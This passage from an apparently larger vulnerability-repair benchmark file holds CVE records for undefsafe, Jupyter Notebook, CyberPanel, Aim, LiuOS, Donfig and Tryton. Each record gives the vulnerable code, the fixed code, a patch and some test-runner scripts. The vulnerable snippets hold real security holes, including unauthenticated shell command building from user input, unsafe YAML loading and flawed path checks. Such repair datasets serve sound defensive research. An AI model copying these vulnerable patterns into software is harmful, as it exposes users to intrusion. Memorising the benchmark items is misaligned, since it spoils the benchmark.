'[')) {\n        if (c === '[') {\n          level++;\n          i++;\n          c = path.substr(i, 1);\n        }\n\n        if (key) {\n          // the first value could be a string\n          res.push(key);\n        }\n        key = '';\n        continue;\n      }\n\n      if (c === ']') {\n        level--;\n        key = key.slice(0, -1);\n        continue;\n      }\n\n      key += c;\n    }\n\n    res.push(key);\n\n    return res;\n  }\n\n  // bail if there's nothing\n  if (obj === undefined || obj === null) {\n    return undefined;\n  }\n\n  var parts = split(path);\n  var key = null;\n  var type = typeof obj;\n  var root = obj;\n  var parent = obj;\n\n  var star =\n    parts.filter(function(_) {\n      return _ === '*';\n    }).length > 0;\n\n  // we're dealing with a primitive\n  if (type !== 'object' && type !== 'function') {\n    return obj;\n  } else if (path.trim() === '') {\n    return obj;\n  }\n\n  key = parts[0];\n  var i = 0;\n  for (; i < parts.length; i++) {\n    key = parts[i];\n    parent = obj;\n\n    if (key === '*') {\n      // loop through each property\n      var prop = '';\n      var res = __res || [];\n\n      for (prop in parent) {\n        var shallowObj = undefsafe(\n          obj[prop],\n          parts.slice(i + 1).join('.'),\n          value,\n          res\n        );\n        if (shallowObj && shallowObj !== res) {\n          if ((value && shallowObj === value) || value === undefined) {\n            if (value !== undefined) {\n              return shallowObj;\n            }\n\n            res.push(shallowObj);\n          }\n        }\n      }\n\n      if (res.length === 0) {\n        return undefined;\n      }\n\n      return res;\n    }\n\n    obj = obj[key];\n    if (obj === undefined || obj === null) {\n      break;\n    }\n  }\n\n  // if we have a null object, make sure it's the one the user was after,\n  // if it's not (i.e. parts has a length) then give undefined back.\n  if (obj === null && i !== parts.length - 1) {\n    obj = undefined;\n  } else if (!star && value) {\n    key = path.split('.').pop();\n    parent[key] = value;\n  }\n  return obj;\n}"}], "fix_func": [{"id": "fix_js_73_1", "commit": "f272681b3a50e2c4cbb6a8533795e1453382c822", "file_path": "lib/undefsafe.js", "start_line": 3, "end_line": 121, "snippet": "function undefsafe(obj, path, value, __res) {\n  // I'm not super keen on this private function, but it's because\n  // it'll also be use in the browser and I wont *one* function exposed\n  function split(path) {\n    var res = [];\n    var level = 0;\n    var key = '';\n\n    for (var i = 0; i < path.length; i++) {\n      var c = path.substr(i, 1);\n\n      if (level === 0 && (c === '.' || c === '[')) {\n        if (c === '[') {\n          level++;\n          i++;\n          c = path.substr(i, 1);\n        }\n\n        if (key) {\n          // the first value could be a string\n          res.push(key);\n        }\n        key = '';\n        continue;\n      }\n\n      if (c === ']') {\n        level--;\n        key = key.slice(0, -1);\n        continue;\n      }\n\n      key += c;\n    }\n\n    res.push(key);\n\n    return res;\n  }\n\n  // bail if there's nothing\n  if (obj === undefined || obj === null) {\n    return undefined;\n  }\n\n  var parts = split(path);\n  var key = null;\n  var type = typeof obj;\n  var root = obj;\n  var parent = obj;\n\n  var star =\n    parts.filter(function(_) {\n      return _ === '*';\n    }).length > 0;\n\n  // we're dealing with a primitive\n  if (type !== 'object' && type !== 'function') {\n    return obj;\n  } else if (path.trim() === '') {\n    return obj;\n  }\n\n  key = parts[0];\n  var i = 0;\n  for (; i < parts.length; i++) {\n    key = parts[i];\n    parent = obj;\n\n    if (key === '*') {\n      // loop through each property\n      var prop = '';\n      var res = __res || [];\n\n      for (prop in parent) {\n        var shallowObj = undefsafe(\n          obj[prop],\n          parts.slice(i + 1).join('.'),\n          value,\n          res\n        );\n        if (shallowObj && shallowObj !== res) {\n          if ((value && shallowObj === value) || value === undefined) {\n            if (value !== undefined) {\n              return shallowObj;\n            }\n\n            res.push(shallowObj);\n          }\n        }\n      }\n\n      if (res.length === 0) {\n        return undefined;\n      }\n\n      return res;\n    }\n\n    if (Object.getOwnPropertyNames(obj).indexOf(key) == -1) {\n      return undefined;\n    }\n\n    obj = obj[key];\n    if (obj === undefined || obj === null) {\n      break;\n    }\n  }\n\n  // if we have a null object, make sure it's the one the user was after,\n  // if it's not (i.e. parts has a length) then give undefined back.\n  if (obj === null && i !== parts.length - 1) {\n    obj = undefined;\n  } else if (!star && value) {\n    key = path.split('.').pop();\n    parent[key] = value;\n  }\n  return obj;\n}"}], "vul_patch": "--- a/lib/undefsafe.js\n+++ b/lib/undefsafe.js\n@@ -97,6 +97,10 @@\n       return res;\n     }\n \n+    if (Object.getOwnPropertyNames(obj).indexOf(key) == -1) {\n+      return undefined;\n+    }\n+\n     obj = obj[key];\n     if (obj === undefined || obj === null) {\n       break;\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2019-10795:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/undefsafe\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx tap test/misc.test.js\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2019-10795:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/undefsafe\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx tap test/\n"}
{"cve_id": "CVE-2019-10856", "cve_description": "In Jupyter Notebook before 5.7.8, an open redirect can occur via an empty netloc. This issue exists because of an incomplete fix for CVE-2019-10255.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/jupyter/notebook", "patch_url": ["https://github.com/jupyter/notebook/commit/979e0bd15e794ceb00cc63737fcd5fd9addc4a99"], "programing_language": "Python", "vul_func": [{"id": "vul_py_46_1", "commit": "16cf97c", "file_path": "notebook/auth/login.py", "start_line": 33, "end_line": 63, "snippet": "    def _redirect_safe(self, url, default=None):\n        \"\"\"Redirect if url is on our PATH\n\n        Full-domain redirects are allowed if they pass our CORS origin checks.\n\n        Otherwise use default (self.base_url if unspecified).\n        \"\"\"\n        if default is None:\n            default = self.base_url\n        # protect chrome users from mishandling unescaped backslashes.\n        # \\ is not valid in urls, but some browsers treat it as /\n        # instead of %5C, causing `\\\\` to behave as `//`\n        url = url.replace(\"\\\\\", \"%5C\")\n        parsed = urlparse(url)\n        if parsed.netloc or not (parsed.path + '/').startswith(self.base_url):\n            # require that next_url be absolute path within our path\n            allow = False\n            # OR pass our cross-origin check\n            if parsed.netloc:\n                # if full URL, run our cross-origin check:\n                origin = '%s://%s' % (parsed.scheme, parsed.netloc)\n                origin = origin.lower()\n                if self.allow_origin:\n                    allow = self.allow_origin == origin\n                elif self.allow_origin_pat:\n                    allow = bool(self.allow_origin_pat.match(origin))\n            if not allow:\n                # not allowed, use default\n                self.log.warning(\"Not allowing login redirect to %r\" % url)\n                url = default\n        self.redirect(url)"}], "fix_func": [{"id": "fix_py_46_1", "commit": "979e0bd15e794ceb00cc63737fcd5fd9addc4a99", "file_path": "notebook/auth/login.py", "start_line": 33, "end_line": 66, "snippet": "    def _redirect_safe(self, url, default=None):\n        \"\"\"Redirect if url is on our PATH\n\n        Full-domain redirects are allowed if they pass our CORS origin checks.\n\n        Otherwise use default (self.base_url if unspecified).\n        \"\"\"\n        if default is None:\n            default = self.base_url\n        # protect chrome users from mishandling unescaped backslashes.\n        # \\ is not valid in urls, but some browsers treat it as /\n        # instead of %5C, causing `\\\\` to behave as `//`\n        url = url.replace(\"\\\\\", \"%5C\")\n        parsed = urlparse(url)\n        path_only = urlunparse(parsed._replace(netloc='', scheme=''))\n        if url != path_only or not (parsed.path + '/').startswith(self.base_url):\n            # require that next_url be absolute path within our path\n            allow = False\n            # OR pass our cross-origin check\n            if url != path_only:\n                # if full URL, run our cross-origin check:\n                origin = '%s://%s' % (parsed.scheme, parsed.netloc)\n                origin = origin.lower()\n                if origin == '%s://%s' % (self.request.protocol, self.request.host):\n                    allow = True\n                elif self.allow_origin:\n                    allow = self.allow_origin == origin\n                elif self.allow_origin_pat:\n                    allow = bool(self.allow_origin_pat.match(origin))\n            if not allow:\n                # not allowed, use default\n                self.log.warning(\"Not allowing login redirect to %r\" % url)\n                url = default\n        self.redirect(url)"}], "vul_patch": "--- a/notebook/auth/login.py\n+++ b/notebook/auth/login.py\n@@ -12,15 +12,18 @@\n         # instead of %5C, causing `\\\\` to behave as `//`\n         url = url.replace(\"\\\\\", \"%5C\")\n         parsed = urlparse(url)\n-        if parsed.netloc or not (parsed.path + '/').startswith(self.base_url):\n+        path_only = urlunparse(parsed._replace(netloc='', scheme=''))\n+        if url != path_only or not (parsed.path + '/').startswith(self.base_url):\n             # require that next_url be absolute path within our path\n             allow = False\n             # OR pass our cross-origin check\n-            if parsed.netloc:\n+            if url != path_only:\n                 # if full URL, run our cross-origin check:\n                 origin = '%s://%s' % (parsed.scheme, parsed.netloc)\n                 origin = origin.lower()\n-                if self.allow_origin:\n+                if origin == '%s://%s' % (self.request.protocol, self.request.host):\n+                    allow = True\n+                elif self.allow_origin:\n                     allow = self.allow_origin == origin\n                 elif self.allow_origin_pat:\n                     allow = bool(self.allow_origin_pat.match(origin))\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2019-10856:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/notebook\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2019-10856/bin/python -m pytest notebook/auth/tests/test_login.py::LoginTest::test_next_bad notebook/auth/tests/test_login.py::LoginTest::test_next_ok -p no:warning --disable-warnings\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2019-10856:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/notebook\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2019-10856/bin/python -m pytest notebook/auth/tests/test_login.py notebook/auth/tests/test_login.py -p no:warning --disable-warnings\n"}
{"cve_id": "CVE-2024-51378", "cve_description": "getresetstatus in dns/views.py and ftp/views.py in CyberPanel (aka Cyber Panel) before 1c0c6cb allows remote attackers to bypass authentication and execute arbitrary commands via /dns/getresetstatus or /ftp/getresetstatus by bypassing secMiddleware (which is only for a POST request) and using shell metacharacters in the statusfile property, as exploited in the wild in October 2024 by PSAUX. Versions through 2.3.6 and (unpatched) 2.3.7 are affected.", "cwe_info": {"CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/usmannasir/cyberpanel", "patch_url": ["https://github.com/usmannasir/cyberpanel/commit/1c0c6cbcf71abe573da0b5fddfb9603e7477f683"], "programing_language": "Python", "vul_func": [{"id": "vul_py_301_1", "commit": "5b08cd6", "file_path": "dns/views.py", "start_line": 246, "end_line": 283, "snippet": "def getresetstatus(request):\n    try:\n        data = json.loads(request.body)\n        statusfile = data['statusfile']\n        installStatus = ProcessUtilities.outputExecutioner(\"sudo cat \" + statusfile)\n\n        if installStatus.find(\"[200]\") > -1:\n\n            command = 'sudo rm -f ' + statusfile\n            ProcessUtilities.executioner(command)\n\n            final_json = json.dumps({\n                'error_message': \"None\",\n                'requestStatus': installStatus,\n                'abort': 1,\n                'installed': 1,\n            })\n            return HttpResponse(final_json)\n        elif installStatus.find(\"[404]\") > -1:\n            command = 'sudo rm -f ' + statusfile\n            ProcessUtilities.executioner(command)\n            final_json = json.dumps({\n                'abort': 1,\n                'installed': 0,\n                'error_message': \"None\",\n                'requestStatus': installStatus,\n            })\n            return HttpResponse(final_json)\n\n        else:\n            final_json = json.dumps({\n                'abort': 0,\n                'error_message': \"None\",\n                'requestStatus': installStatus,\n            })\n            return HttpResponse(final_json)\n    except KeyError:\n        return redirect(loadLoginPage)"}, {"id": "vul_py_301_2", "commit": "5b08cd6", "file_path": "ftp/views.py", "start_line": 143, "end_line": 180, "snippet": "def getresetstatus(request):\n    try:\n        data = json.loads(request.body)\n        statusfile = data['statusfile']\n        installStatus = ProcessUtilities.outputExecutioner(\"sudo cat \" + statusfile)\n\n        if installStatus.find(\"[200]\") > -1:\n\n            command = 'sudo rm -f ' + statusfile\n            ProcessUtilities.executioner(command)\n\n            final_json = json.dumps({\n                'error_message': \"None\",\n                'requestStatus': installStatus,\n                'abort': 1,\n                'installed': 1,\n            })\n            return HttpResponse(final_json)\n        elif installStatus.find(\"[404]\") > -1:\n            command = 'sudo rm -f ' + statusfile\n            ProcessUtilities.executioner(command)\n            final_json = json.dumps({\n                'abort': 1,\n                'installed': 0,\n                'error_message': \"None\",\n                'requestStatus': installStatus,\n            })\n            return HttpResponse(final_json)\n\n        else:\n            final_json = json.dumps({\n                'abort': 0,\n                'error_message': \"None\",\n                'requestStatus': installStatus,\n            })\n            return HttpResponse(final_json)\n    except KeyError:\n        return redirect(loadLoginPage)"}], "fix_func": [{"id": "fix_py_301_1", "commit": "1c0c6cbcf71abe573da0b5fddfb9603e7477f683", "file_path": "dns/views.py", "start_line": 246, "end_line": 293, "snippet": "def getresetstatus(request):\n    try:\n\n        userID = request.session['userID']\n\n        currentACL = ACLManager.loadedACL(userID)\n\n        if currentACL['admin'] == 1:\n            pass\n        else:\n            return ACLManager.loadErrorJson('FilemanagerAdmin', 0)\n\n        data = json.loads(request.body)\n        statusfile = data['statusfile']\n        installStatus = ProcessUtilities.outputExecutioner(\"sudo cat \" + statusfile)\n\n        if installStatus.find(\"[200]\") > -1:\n\n            command = 'sudo rm -f ' + statusfile\n            ProcessUtilities.executioner(command)\n\n            final_json = json.dumps({\n                'error_message': \"None\",\n                'requestStatus': installStatus,\n                'abort': 1,\n                'installed': 1,\n            })\n            return HttpResponse(final_json)\n        elif installStatus.find(\"[404]\") > -1:\n            command = 'sudo rm -f ' + statusfile\n            ProcessUtilities.executioner(command)\n            final_json = json.dumps({\n                'abort': 1,\n                'installed': 0,\n                'error_message': \"None\",\n                'requestStatus': installStatus,\n            })\n            return HttpResponse(final_json)\n\n        else:\n            final_json = json.dumps({\n                'abort': 0,\n                'error_message': \"None\",\n                'requestStatus': installStatus,\n            })\n            return HttpResponse(final_json)\n    except KeyError:\n        return redirect(loadLoginPage)"}, {"id": "fix_py_301_2", "commit": "1c0c6cbcf71abe573da0b5fddfb9603e7477f683", "file_path": "ftp/views.py", "start_line": 143, "end_line": 192, "snippet": "def getresetstatus(request):\n    try:\n\n        userID = request.session['userID']\n\n        currentACL = ACLManager.loadedACL(userID)\n\n        if currentACL['admin'] == 1:\n            pass\n        else:\n            return ACLManager.loadErrorJson('FilemanagerAdmin', 0)\n\n        data = json.loads(request.body)\n        statusfile = data['statusfile']\n        installStatus = ProcessUtilities.outputExecutioner(\"sudo cat \" + statusfile)\n\n\n\n        if installStatus.find(\"[200]\") > -1:\n\n            command = 'sudo rm -f ' + statusfile\n            ProcessUtilities.executioner(command)\n\n            final_json = json.dumps({\n                'error_message': \"None\",\n                'requestStatus': installStatus,\n                'abort': 1,\n                'installed': 1,\n            })\n            return HttpResponse(final_json)\n        elif installStatus.find(\"[404]\") > -1:\n            command = 'sudo rm -f ' + statusfile\n            ProcessUtilities.executioner(command)\n            final_json = json.dumps({\n                'abort': 1,\n                'installed': 0,\n                'error_message': \"None\",\n                'requestStatus': installStatus,\n            })\n            return HttpResponse(final_json)\n\n        else:\n            final_json = json.dumps({\n                'abort': 0,\n                'error_message': \"None\",\n                'requestStatus': installStatus,\n            })\n            return HttpResponse(final_json)\n    except KeyError:\n        return redirect(loadLoginPage)"}], "vul_patch": "--- a/dns/views.py\n+++ b/dns/views.py\n@@ -1,5 +1,15 @@\n def getresetstatus(request):\n     try:\n+\n+        userID = request.session['userID']\n+\n+        currentACL = ACLManager.loadedACL(userID)\n+\n+        if currentACL['admin'] == 1:\n+            pass\n+        else:\n+            return ACLManager.loadErrorJson('FilemanagerAdmin', 0)\n+\n         data = json.loads(request.body)\n         statusfile = data['statusfile']\n         installStatus = ProcessUtilities.outputExecutioner(\"sudo cat \" + statusfile)\n\n--- a/ftp/views.py\n+++ b/ftp/views.py\n@@ -1,8 +1,20 @@\n def getresetstatus(request):\n     try:\n+\n+        userID = request.session['userID']\n+\n+        currentACL = ACLManager.loadedACL(userID)\n+\n+        if currentACL['admin'] == 1:\n+            pass\n+        else:\n+            return ACLManager.loadErrorJson('FilemanagerAdmin', 0)\n+\n         data = json.loads(request.body)\n         statusfile = data['statusfile']\n         installStatus = ProcessUtilities.outputExecutioner(\"sudo cat \" + statusfile)\n+\n+\n \n         if installStatus.find(\"[200]\") > -1:\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-43775", "cve_description": "Aim is an open-source, self-hosted machine learning experiment tracking tool. Versions of Aim prior to 3.1.0 are vulnerable to a path traversal attack. By manipulating variables that reference files with \u201cdot-dot-slash (../)\u201d sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. The vulnerability issue is resolved in Aim v3.1.0.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/aimhubio/aim", "patch_url": ["https://github.com/aimhubio/aim/commit/b9e53df5e32d14bbd3a2c738e2db7187fb531e93"], "programing_language": "Python", "vul_func": [{"id": "vul_py_138_1", "commit": "0b99c6c", "file_path": "aim/web/api/views.py", "start_line": 10, "end_line": 16, "snippet": "async def serve_static_files(path):\n    from aim import web\n    static_file_name = os.path.join(os.path.dirname(web.__file__), 'ui', 'build', path)\n    compressed_file_name = '{}.gz'.format(static_file_name)\n    if os.path.exists(compressed_file_name):\n        return FileResponse(compressed_file_name, headers={'Content-Encoding': 'gzip'})\n    return FileResponse(static_file_name)"}], "fix_func": [{"id": "fix_py_138_1", "commit": "b9e53df", "file_path": "aim/web/api/views.py", "start_line": 12, "end_line": 24, "snippet": "async def serve_static_files(path):\n    from aim import web\n    static_files_root = os.path.join(os.path.dirname(web.__file__), 'ui', 'build')\n    static_file_name = '/'.join((static_files_root, path))\n\n    # check if path is leading inside ui/build directory\n    if not Path(static_files_root) in Path(static_file_name).resolve().parents:\n        raise HTTPException(404)\n\n    compressed_file_name = '{}.gz'.format(static_file_name)\n    if os.path.exists(compressed_file_name):\n        return FileResponse(compressed_file_name, headers={'Content-Encoding': 'gzip'})\n    return FileResponse(static_file_name)"}], "vul_patch": "--- a/aim/web/api/views.py\n+++ b/aim/web/api/views.py\n@@ -1,6 +1,12 @@\n async def serve_static_files(path):\n     from aim import web\n-    static_file_name = os.path.join(os.path.dirname(web.__file__), 'ui', 'build', path)\n+    static_files_root = os.path.join(os.path.dirname(web.__file__), 'ui', 'build')\n+    static_file_name = '/'.join((static_files_root, path))\n+\n+    # check if path is leading inside ui/build directory\n+    if not Path(static_files_root) in Path(static_file_name).resolve().parents:\n+        raise HTTPException(404)\n+\n     compressed_file_name = '{}.gz'.format(static_file_name)\n     if os.path.exists(compressed_file_name):\n         return FileResponse(compressed_file_name, headers={'Content-Encoding': 'gzip'})\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-46179", "cve_description": "LiuOS is a small Python project meant to imitate the functions of a regular operating system. Version 0.1.0 and prior of LiuOS allow an attacker to set the GITHUB_ACTIONS environment variable to anything other than null or true and skip authentication checks. This issue is patched in the latest commit (c658b4f3e57258acf5f6207a90c2f2169698ae22) by requiring the var to be set to true, causing a test script to run instead of being able to login. A potential workaround is to check for the GITHUB_ACTIONS environment variable and set it to \"\" (no quotes) to null the variable and force credential checks.", "cwe_info": {"CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/LiuWoodsCode/LiuOS", "patch_url": ["https://github.com/LiuWoodsCode/LiuOS/commit/c658b4f3e57258acf5f6207a90c2f2169698ae22"], "programing_language": "Python", "vul_func": [{"id": "vul_py_198_1", "commit": "a377446", "file_path": "core.py", "start_line": 83, "end_line": 126, "snippet": "def actualsys() :\n        logging.debug(\"Launched main system\")\n        os.system('cls' if os.name == 'nt' else 'clear')\n        logging.debug(\"Loaded LiuOS Shell\")\n        LiuShell().cmdloop()\nlogging.debug(\"Assigned main system function\")\nif os.environ.get('GITHUB_ACTIONS') == \"true\":\n        logging.info('Running on GitHub Actions, not using the LiuOS Shell')\n        print(lang.ENTER_USERNAME_LOGIN)\n        print(lang.ENTER_PASSWD_LOGIN)\n        print(lang.FAKE_SUCCESSFUL_LOGIN)\n        logging.warning(\"Fake login completed\")\n        print(lang.SHELL_INTRO)\n        print(lang.SAMPLE_ABC)\n        print(lang.SAMPLE_STRING)\n        TestProg = \"programs/helloworld.py\"\n        runpy.run_path(path_name=TestProg)\n        print(\"Code completed\")\nelse:\n # Authentication system\n\n       while attemps < 7:\n        username = input(lang.ENTER_USERNAME_LOGIN)\n        logging.debug('Entered username')\n        password = getpass.getpass(lang.ENTER_PASSWD_LOGIN)\n        logging.debug('Entered password')\n        bytehash = hashlib.sha512(password.encode())\n        pwdreshash = bytehash.hexdigest()\n        logging.debug('Generated hash of password')\n        if attemps == 6:\n        ## Brute force protection\n           raise Exception(\"Too many password attempts. Because of the risk of a brute force attack, after 6 attempts, you will need to rerun LiuOS to try 6 more times.\")\n        if os.environ.get('GITHUB_ACTIONS') != \"\":\n            logging.warning(\"Running on Github Actions\")\n            actualsys()\n        elif username == cred.loginname and pwdreshash == cred.loginpass:\n            print(lang.SUCCESSFUL_LOGIN)\n            logging.debug('Correct login credentials, logged in')\n            actualsys()\n        else:\n            print(lang.INCORRECT_LOGIN)\n            logging.error(\"Incorrect login credentials\")\n            attemps += 1\n            continue"}], "fix_func": [{"id": "fix_py_198_1", "commit": "c658b4f", "file_path": "core.py", "start_line": 83, "end_line": 126, "snippet": "def actualsys() :\n        logging.debug(\"Launched main system\")\n        os.system('cls' if os.name == 'nt' else 'clear')\n        logging.debug(\"Loaded LiuOS Shell\")\n        LiuShell().cmdloop()\nlogging.debug(\"Assigned main system function\")\nif os.environ.get('GITHUB_ACTIONS') == \"true\":\n        logging.info('Running on GitHub Actions, not using the LiuOS Shell')\n        print(lang.ENTER_USERNAME_LOGIN)\n        print(lang.ENTER_PASSWD_LOGIN)\n        print(lang.FAKE_SUCCESSFUL_LOGIN)\n        logging.warning(\"Fake login completed\")\n        print(lang.SHELL_INTRO)\n        print(lang.SAMPLE_ABC)\n        print(lang.SAMPLE_STRING)\n        TestProg = \"programs/helloworld.py\"\n        runpy.run_path(path_name=TestProg)\n        print(\"Code completed\")\nelse:\n # Authentication system\n\n       while attemps < 7:\n        username = input(lang.ENTER_USERNAME_LOGIN)\n        logging.debug('Entered username')\n        password = getpass.getpass(lang.ENTER_PASSWD_LOGIN)\n        logging.debug('Entered password')\n        bytehash = hashlib.sha512(password.encode())\n        pwdreshash = bytehash.hexdigest()\n        logging.debug('Generated hash of password')\n        if attemps == 6:\n        ## Brute force protection\n           raise Exception(\"Too many password attempts. Because of the risk of a brute force attack, after 6 attempts, you will need to rerun LiuOS to try 6 more times.\")\n        if os.environ.get('GITHUB_ACTIONS') == \"true\":\n            logging.warning(\"Running on Github Actions\")\n            actualsys()\n        elif username == cred.loginname and pwdreshash == cred.loginpass:\n            print(lang.SUCCESSFUL_LOGIN)\n            logging.debug('Correct login credentials, logged in')\n            actualsys()\n        else:\n            print(lang.INCORRECT_LOGIN)\n            logging.error(\"Incorrect login credentials\")\n            attemps += 1\n            continue"}], "vul_patch": "--- a/core.py\n+++ b/core.py\n@@ -30,7 +30,7 @@\n         if attemps == 6:\n         ## Brute force protection\n            raise Exception(\"Too many password attempts. Because of the risk of a brute force attack, after 6 attempts, you will need to rerun LiuOS to try 6 more times.\")\n-        if os.environ.get('GITHUB_ACTIONS') != \"\":\n+        if os.environ.get('GITHUB_ACTIONS') == \"true\":\n             logging.warning(\"Running on Github Actions\")\n             actualsys()\n         elif username == cred.loginname and pwdreshash == cred.loginpass:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-7537", "cve_description": "An issue was discovered in Donfig 0.3.0. There is a vulnerability in the collect_yaml method in config_obj.py. It can execute arbitrary Python commands, resulting in command execution.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/pytroll/donfig", "patch_url": ["https://github.com/pytroll/donfig/commit/1f9dbf83b17419a06d63c14ef3fbd29dbc1b8ce5"], "programing_language": "Python", "vul_func": [{"id": "vul_py_273_1", "commit": "a57e36e", "file_path": "donfig/config_obj.py", "start_line": 159, "end_line": 196, "snippet": "def collect_yaml(paths):\n    \"\"\"Collect configuration from yaml files\n\n    This searches through a list of paths, expands to find all yaml or json\n    files, and then parses each file.\n\n    \"\"\"\n    # Find all paths\n    file_paths = []\n    for path in paths:\n        if os.path.exists(path):\n            if os.path.isdir(path):\n                try:\n                    file_paths.extend(sorted([\n                        os.path.join(path, p)\n                        for p in os.listdir(path)\n                        if os.path.splitext(p)[1].lower() in ('.json', '.yaml', '.yml')\n                    ]))\n                except OSError:\n                    # Ignore permission errors\n                    pass\n            else:\n                file_paths.append(path)\n\n    configs = []\n\n    # Parse yaml files\n    for path in file_paths:\n        try:\n            with open(path) as f:\n                data = yaml.load(f.read()) or {}\n                data = normalize_nested_keys(data)\n                configs.append(data)\n        except (OSError, IOError):\n            # Ignore permission errors\n            pass\n\n    return configs"}], "fix_func": [{"id": "fix_py_273_1", "commit": "1f9dbf83b17419a06d63c14ef3fbd29dbc1b8ce5", "file_path": "donfig/config_obj.py", "start_line": 159, "end_line": 196, "snippet": "def collect_yaml(paths):\n    \"\"\"Collect configuration from yaml files\n\n    This searches through a list of paths, expands to find all yaml or json\n    files, and then parses each file.\n\n    \"\"\"\n    # Find all paths\n    file_paths = []\n    for path in paths:\n        if os.path.exists(path):\n            if os.path.isdir(path):\n                try:\n                    file_paths.extend(sorted([\n                        os.path.join(path, p)\n                        for p in os.listdir(path)\n                        if os.path.splitext(p)[1].lower() in ('.json', '.yaml', '.yml')\n                    ]))\n                except OSError:\n                    # Ignore permission errors\n                    pass\n            else:\n                file_paths.append(path)\n\n    configs = []\n\n    # Parse yaml files\n    for path in file_paths:\n        try:\n            with open(path) as f:\n                data = yaml.safe_load(f.read()) or {}\n                data = normalize_nested_keys(data)\n                configs.append(data)\n        except (OSError, IOError):\n            # Ignore permission errors\n            pass\n\n    return configs"}], "vul_patch": "--- a/donfig/config_obj.py\n+++ b/donfig/config_obj.py\n@@ -28,7 +28,7 @@\n     for path in file_paths:\n         try:\n             with open(path) as f:\n-                data = yaml.load(f.read()) or {}\n+                data = yaml.safe_load(f.read()) or {}\n                 data = normalize_nested_keys(data)\n                 configs.append(data)\n         except (OSError, IOError):\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-0360", "cve_description": "file_open in Tryton 3.x and 4.x through 4.2.2 allows remote authenticated users with certain permissions to read arbitrary files via a \"same root name but with a suffix\" attack. NOTE: This vulnerability exists because of an incomplete fix for CVE-2016-1242.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/tryton/trytond", "patch_url": ["https://github.com/tryton/trytond/commit/a67a7f03c30277515f530cad5950056171ed5bd1", "https://github.com/tryton/trytond/commit/30e978593733385db3144f8c583eeb4679575cf0"], "programing_language": "Python", "vul_func": [{"id": "vul_py_37_1", "commit": "5d7c4fa", "file_path": "trytond/tools/misc.py", "start_line": 31, "end_line": 37, "snippet": "    def secure_join(root, *paths):\n        \"Join paths and ensure it still below root\"\n        path = os.path.join(root, *paths)\n        path = os.path.normpath(path)\n        if not path.startswith(root):\n            raise IOError(\"Permission denied: %s\" % name)\n        return path"}], "fix_func": [{"id": "fix_py_37_1", "commit": "a67a7f03c30277515f530cad5950056171ed5bd1", "file_path": "trytond/tools/misc.py", "start_line": 31, "end_line": 37, "snippet": "    def secure_join(root, *paths):\n        \"Join paths and ensure it still below root\"\n        path = os.path.join(root, *paths)\n        path = os.path.normpath(path)\n        if not path.startswith(os.path.join(root, '')):\n            raise IOError(\"Permission denied: %s\" % name)\n        return path"}], "vul_patch": "--- a/trytond/tools/misc.py\n+++ b/trytond/tools/misc.py\n@@ -2,6 +2,6 @@\n         \"Join paths and ensure it still below root\"\n         path = os.path.join(root, *paths)\n         path = os.path.normpath(path)\n-        if not path.startswith(root):\n+        if not path.startswith(os.path.join(root, '')):\n             raise IOError(\"Permission denied: %s\" % name)\n         return path\n\n", "poc_test_cmd": "#!/bin/bash\n# From 